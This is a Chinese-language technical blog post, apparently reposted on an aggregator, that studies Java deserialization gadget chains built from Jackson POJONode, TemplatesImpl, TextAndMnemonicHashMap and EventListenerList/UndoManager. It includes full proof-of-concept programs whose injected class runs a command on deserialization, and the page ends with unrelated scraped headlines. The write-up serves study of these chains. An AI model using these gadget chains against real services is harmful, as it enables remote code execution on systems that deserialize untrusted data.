import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();constructor.setAccessible(true);Map text = (Map)constructor.newInstance();text.put(node,null);HashMap hashMap1 = new HashMap();hashMap1.put(node,null);Hashtable table = new Hashtable();table.put(hashMap1,"1");table.put(text,"1");}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

这样就可以稳定在序列化前按照预期成功调用一次调用链。值得注意的是,由于为了保证hash值相同,这里让hashMap1的value也改成了null,那么此时在AbstractMap类的equals()方法调用get()方法也有改变:

img

由于将value改成了null,所以这里value返回值也是null,进入了第一个if条件,还是调用到了一次get()方法,后面就都是预期的了。

那么反序列化如何绕过呢,前面给出的POC已经可以说明了,在Hashtable放入值时直接让hash值不同从而可以正常放入,后面再调用put()方法来进行一次更新值的操作,所以最后的POC如下:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();constructor.setAccessible(true);Map text0 = (Map)constructor.newInstance();text0.put(node,"aa1");Map text1 = (Map)constructor.newInstance();text1.put(node,"aa2");Hashtable table = new Hashtable();table.put(text1,"1");table.put(text0,"1");text0.put(node,null);text1.put(node,null);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(table);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

经测试发现如果是想使用HashMap和TextAndMnemonicHashMapl作为Hashtable中的两个键,在Hashtable的反序列化时,先后顺序会发生改变,这个问题我在JD7u21原生链提过,这里不再多说,使用上面的代码就行了。

总结:

  • • 得抓一下重点呀,就那一个点,也是比较关键的一点,构造代码时没注意到。还是卡了一段时间。

EventListenerList

这个类位于javax.swing.event.EventListenerList,同样是可以调用任意类的getter方法,先来跟进这个类的readObject()方法:

img

然后跟进这里的add()方法:

img

当l不是t的类或接口的实例化时,这里就会进入抛出异常的操作,但是这里的抛出异常的操作是进行了一个字符串拼接的操作,所以只要控制得好l,那么久可以调用任意类的toString()方法。再回过去看参数传递的要求:

img

这里的forName()方法,正好是当时学反射时说明了的,虽然有几个参数传递,但是其实就是相当于调用的forName(),这里的cl就是一个类加载器,也就是可以获取到一个Class对象,然后看这里的l,可以知道是从数据读出并且有一个强制类型转换,也就是要求其为一个与EventListener有关联的对象。再看一下EventListenerList类的writeObject()方法:

img

大概就可以知道这里的序列化所需的变量了,并且可以和反序列化对应起来,有在反序列化利用的可能性。

那么在这里可以利用到的是javax.swing.undo.UndoManager类,它的接口UndoableEditListener是java.util.EventListener的子类,跟进这个类的toString()方法:

img

这里调用了父类的toString()方法,还调用了两个变量,但是这两个变量都定义为int类型:

int indexOfNextAdd;
int limit;

无法利用,继续跟进父类CompoundEdit的toString()方法:

img

看此时这两个变量的定义:

img

可以看到inProgress是布尔型,而edits在实例化时会赋值为一个Vector类实例,并且UndoManager类实例化时久可以保证这个父类也实例化,再看CompoundEdi类的toString()方法,同样是字符串拼接的操作,所以可以调用到Vector类的toString()方法:

img

再跟进父类AbstractCollection的toString()方法:

img

跟进这里的append()方法:

img

这里的value()方法可以调用到任意类的toString()方法:

img

个人觉得利用点是前面图中用框标出来的append方法,那么就可以尝试进行构造了,就简单说明几个点:

EventListenerList无构造方法,需要利用到Object[]类型的listenerList变量,反射修改即可,一定要看懂writeObject()的逻辑,这样才能构造出来。

另外的一个比较重要的点就是如下:

img

怎么控制这个e为任意类型。重点就在于这个iterator()方法,再回想一下整个过程,到这一步的toString()方法,已经是和Vector类相关了,也就是说这里的self为Vector类实例,并且简单构造代码调试也是如预期的,而在Vector类的iterator()方法,是返回的一个内部类Itr实例:

img

里面就定义了一些简单的next()函数用于迭代,在原先的toString()方法中,可以知道是,跟进next()函数最后返回的elementData:

img

其实就是返回存储在这个当中的值,所以我们肯定是要将node放进这个数组当中的。对于这个elementData数组,Vector类定义了很多方法来进行操作,如insertElementAt:

img

等。

所以这也是可以操作的,但是要怎么将这个设计好的Vector类插入进去呢?在原本的利用链中,是直接将Vector实例化的:

img

还是反射进行修改,具体看下面的POC即可:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.swing.undo.UndoManager;
import javax.swing.event.EventListenerList;
import java.lang.reflect.Field;
import java.util.Vector;public class Main {public static void main(String[] args) throws Exception {//使用javassist定义恶意代码ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = classPool.makeClass("Evil");String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] code = new byte[][]{classBytes};//修改类方法CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");//也可以直接删去这个类ctClass.removeMethod(ctMethod);ctClass.toClass();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "fupanc");setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());POJONode node = new POJONode(templates);UndoManager undo = new UndoManager();Object[] x = new Object[]{String.class, undo};EventListenerList listenerList = new EventListenerList();setFieldValue(listenerList, "listenerList", x);Vector vector = (Vector) getFieldValue(undo, "edits");vector.add(node);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(listenerList);out.close();ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));in.readObject();in.close();}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static Object getFieldValue(Object obj, String fieldName) throws Exception {Class clazz = obj.getClass();while (clazz != null) {try {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field.get(obj);} catch (Exception e) {clazz = clazz.getSuperclass();}}return null;}
}

就可以在反序列化时弹出计算机了。一个非常好的获取到父类的变量并进行修改或者设置值的代码设计,多学习。

——————

参考文章:

https://www.cnblogs.com/gaorenyusi/p/18411269

https://xz.aliyun.com/news/14924?time__1311=eqUxuDBD0AGQBD7qGNcjDA2A%2BAqY5mKfxx&u_atoken=634642368fa712ac87bbdc71d6c17d07&u_asig=0a472f9217430687398891321e0048

https://xz.aliyun.com/news/14169?u_atoken=cc132e497818eb0c240edb80bb120546&u_asig=0a472f9217430687458091642e0048

https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关    


http://www.hkcw.cn/article/wRSDqDTrbH.shtml

相关文章

断眉空降《歌手2025》 再现经典《See You Again》

《歌手2025》节目组宣布,美国著名男歌手“断眉”将作为新一期的“袭榜”歌手参与节目。湖南卫视透露,“断眉”将在节目中演唱《Attention》和《See You Again》。去年5月31日,《歌手2024》曾预告查理普斯(断眉)会在两周后空降长沙参加“袭榜”。当时,许多网友纷纷点歌表示…

曝国米若夺冠将在米兰举行大巴巡游 球迷欢庆盛典

据《共和报》报道,如果国际米兰赢得欧冠冠军,球队将在周日举行大巴巡游庆典。米兰城已为周六晚上的欧冠决赛做好了充分准备,国米将在慕尼黑对阵巴黎圣日耳曼,而圣西罗球场将通过大屏幕直播比赛,门票几乎售罄,预计超过五万名球迷会现场观赛。在米兰当地治安与安全委员会的…

A股核能核电股集体回调 多股跌幅明显

此前表现强劲的核能核电股今日普遍回调。久盛电气跌幅超过16%,中洲特材下跌超过14%,哈焊华通下跌超过12%。尚纬股份和融发核电则出现10%的跌停。常辅股份跌幅超过9%,天力复合和中成股份跌幅超过8%。瑞奇智造、大西洋、兰石重装、杭州高新、南风股份和海陆重工的跌幅均超过7%…

男子长期带不同小孩地铁卖惨 假乞讨真欺骗

近日,多名网友曝光了一名五六十岁的中年男子长期在郑州地铁内以各种理由向乘客索要钱财。这名男子身边带的小孩还经常换人。一些网友出于爱心曾给过他钱,但后来发现该男子仍在行乞,并且每次的理由都不一样,这才意识到被骗。一名网友发布的视频显示,这名中年男子身穿短袖衬…

印尼西爪哇省山体滑坡已致8死12伤 采砂场事故悲剧

据印尼警方当地时间5月30日消息,当天该国西爪哇省芝拉朋县采砂场发生的山体滑坡事故已致8名矿工死亡,另有12人受伤。(总台记者 陶家乐)印尼西爪哇省发生山体滑坡 致4人遇难20人失踪>>责任编辑:0764

Dify对比主流大模型开发框架:Langchain、LlamaIndex、n8n,谁更适合企业落地?

Dify对比主流大模型开发框架&#xff1a;Langchain、LlamaIndex、n8n&#xff0c;谁更适合企业落地&#xff1f; 随着大模型&#xff08;LLM&#xff09;技术的迅猛发展&#xff0c;智能体&#xff08;Agent&#xff09;开发从实验室走向企业生产环境。开发者对大模型开发框架…

拱北口岸年内客流量突破5000万人次 大湾区互联互通加速

5月30日,珠海边检总站发布的数据显示,截至当天17时,该总站年内查验经拱北口岸往来粤澳两地的客流量突破了5000万人次,同比增长12%,成为全国首个年内通关量达5000万人次的口岸。赴澳旅游、学习和工作的内地居民以及“北上”旅游购物探亲的澳门居民构成了口岸客流的主要部分…

顺丰寄丢价值5万手镯赔67元 赔偿争议引热议

5月30日,话题“顺丰寄丢价值5万元手镯仅赔67元”引发热议,登上微博热搜。近日广东佛山陈小姐网购了一只价值4.98万元的翡翠手镯,收到货后不太满意,选择了退货退款。因为商家赠送了运费险,5月22日10点由指定的顺丰速运上门取件。23日晚,陈小姐接到快递员电话,称快件丢失了…

中国国家画院悼念陈履生 深切缅怀美术巨匠

陈履生先生家属:惊悉陈履生先生遽归道山,中国国家画院全体同仁深感悲痛与惋惜。我们向先生致以深切哀悼,并向亲属致以诚挚慰问。陈履生先生是中国国家画院研究员,也是中国美术史研究的著名学者和文博事业发展的重要推动者。他学养深厚,视野宏阔,在美术史论研究、文博事业…

国铁郑州局端午运输启动 增开列车迎高峰

中国铁路郑州局集团有限公司启动为期5天的端午小长假运输,自5月30日至6月3日,预计发送旅客375.9万人,日均75.2万人,较去年同期增长8.1%。今年端午假期,从车票预售情况来看,客流以探亲流、旅游流为主,热门城市包括北京、西安、武汉、上海、南京等。郑州、洛阳、开封、安阳…

北京成立全国首家知识产权联调委 助力创新纠纷解决

5月29日,全国首家知识产权领域的联合型人民调解委员会——北京市知识产权纠纷联合人民调解委员会成立。该委员会将负责调解北京市的重大疑难复杂及涉外知识产权纠纷,指导成员单位开展知识产权纠纷线索排查、调解及普法宣传等综合服务。人民调解不仅是司法制度的重要补充,更是…

新款沃尔沃XC60将6月26日上市 新能源转型亮点

新款沃尔沃S90于5月29日上市,限时参考尊享价区间为30.09-45.49万元。沃尔沃汽车大中华区销售公司总裁于柯鑫在接受采访时透露,今年是沃尔沃转型新能源的关键一年。新款XC60将于6月26日上市,随后7月份推出EX30 Cross Country,而最值得关注的XC70将在9月亮相。此外,年底前还…

SpringBoot整合MinIO实现文件上传

使用Spring Boot与JSP和MinIO&#xff08;一个开源对象存储系统&#xff0c;兼容Amazon S3&#xff09;进行集成&#xff0c;您可以创建一个Web应用来上传、存储和管理文件。以下是如何将Spring Boot、JSP和MinIO集成的基本步骤&#xff1a; 这个是minio正确启动界面 这个是min…

LLaMaFactory 微调QwenCoder模型

步骤一&#xff1a;准备LLamaFactory环境 首先,让我们尝试使用github的方式克隆仓库: git config --global http.sslVerify false && git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git # 创建新环境&#xff0c;指定 Python 版本&#xff08;以 3.…

男子戴人皮面具偷了15万首饰现金 反侦查高手落网

5月29日,盐城市公安局盐南高新区分局新都派出所接到多个小区居民报警,称家中金条、金首饰丢失。警方迅速介入调查,发现案发前有一名男子在案发现场周边多次徘徊,并且面部反光,疑似戴着面具踩点。经过持续分析,最终锁定了犯罪嫌疑人的身份。5月23日,民警周密部署后成功抓…

园长回应幼儿园举办幼儿龙舟赛 雨中竞技展现传统文化魅力

广东汕头澄海区溪南西社幼儿园近日举办了一场特别的赛龙舟活动,视频在网络上引起了广泛关注。孩子们在细雨天身穿救生衣,在泳池中划着特制尺寸的龙舟,争夺冠军,泳池边的观众打着伞为他们助威呐喊。园长张晓燕透露,决赛于5月28日下午3点举行,当天有不少村民观赛,村委会成…

基于亚博K210开发板——物体检测测试

开发板 亚博K210开发板 实验目的 本次测试主要学习 K210 如何物体检测&#xff0c;然后通过 LCD 显示屏实时框出检测物体然后以不同颜色标记名称。 实验元件 OV2640 摄像头/OV9655 摄像头/GC2145 摄像头、LCD 显示屏 硬件连接 K210 开发板出厂默认已经安装好摄像头和显…

Glide源码解析

前言 Glide是一款专为Android设计的开源图片加载库。有以下特点&#xff1a;1.支持高效加载网络、本地及资源图片&#xff1b;2.具备良好的缓存策略及生命周期管理策略&#xff1b;3.提供了简易的API和强大的功能。本文将对其源码进行剖析。 基本使用 dependencies {compile …

01.认识Kubernetes

什么是Kubernets 套用官方文档对Kubernetes的定义&#xff0c;翻译成中文的意思是&#xff1a; Kubernetes&#xff0c;也称为k8&#xff0c;是一个用于自动化部署、扩展和管理容器化应用程序的开源系统。 它将组成应用程序的容器分组为逻辑单元&#xff0c;以便于管理和发现…

印把PL-15残骸给日本 中国有防备吗 国防部回应让16亿人松口气

印巴冲突虽然已经结束20多天,但其影响仍在持续。印度方面将此前获得的PL-15空空导弹残骸交由日本团队研究,外界对此表示担忧,担心技术泄密或被反向研制。针对这一情况,国防部的回应让许多人松了一口气。在印巴冲突期间,两国分别使用中式武器和西式武器进行对抗,展示了各自…